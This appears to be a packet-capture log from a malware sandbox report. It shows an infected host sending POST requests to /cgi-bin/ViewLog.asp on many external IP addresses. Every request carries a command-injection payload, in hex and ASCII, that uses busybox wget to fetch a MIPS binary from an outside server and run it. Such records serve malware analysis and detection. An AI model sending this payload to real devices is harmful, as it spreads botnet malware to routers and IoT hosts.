                                                Session IDSource IPSource PortDestination IPDestination Port
                                                946192.168.2.155583431.200.42.1768080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.712327003 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                947192.168.2.155248494.247.128.2178080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.742357969 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:08.018274069 CET552INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:23:07 GMT
                                                Server: Apache/2.4.41 (Ubuntu)
                                                Content-Length: 304
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at 192.168.0.14 Port 80</address></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                948192.168.2.153906294.177.135.718080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.743992090 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.916311026 CET1340INHTTP/1.0 400 Bad Request
                                                Server: squid/3.1.9
                                                Mime-Version: 1.0
                                                Date: Thu, 15 Apr 2021 14:09:12 GMT
                                                Content-Type: text/html
                                                Content-Length: 3161
                                                X-Squid-Error: ERR_INVALID_URL 0
                                                Connection: close
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License*//* Page basics */* {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/* initial title */#titles h1 {color: #000000;}#titles h2 {color: #000000;}/* special event: FTP success page titles */#titles ftpsuccess {background-color:#00ff00;width:100%;}/* Page displayed body content area */#content {padding: 10px;background: #ffffff;


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                949192.168.2.153689094.120.63.88080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:07.790543079 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                950192.168.2.155383885.253.96.568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:08.301090956 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:08.951935053 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                951192.168.2.153889885.246.43.1618080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:08.677875996 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:08.885219097 CET602INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:22:31 GMT
                                                Server:
                                                X-Frame-Options: SAMEORIGIN
                                                Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob:
                                                Content-Length: 226
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                952192.168.2.155654095.210.96.1538080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:08.707844019 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                953192.168.2.155254694.247.128.2178080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:08.734838963 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:09.005316019 CET552INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:23:08 GMT
                                                Server: Apache/2.4.41 (Ubuntu)
                                                Content-Length: 304
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at 192.168.0.14 Port 80</address></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                954192.168.2.155520894.120.3.428080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:08.749844074 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                955192.168.2.154109662.29.15.648080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:08.753880024 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                956192.168.2.155391262.29.66.1698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:08.757376909 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                957192.168.2.154982885.122.198.1958080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:08.903245926 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                958192.168.2.155281662.29.93.2058080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:09.498614073 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                959192.168.2.155401085.253.96.568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:09.736399889 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                960192.168.2.156050031.136.9.98080
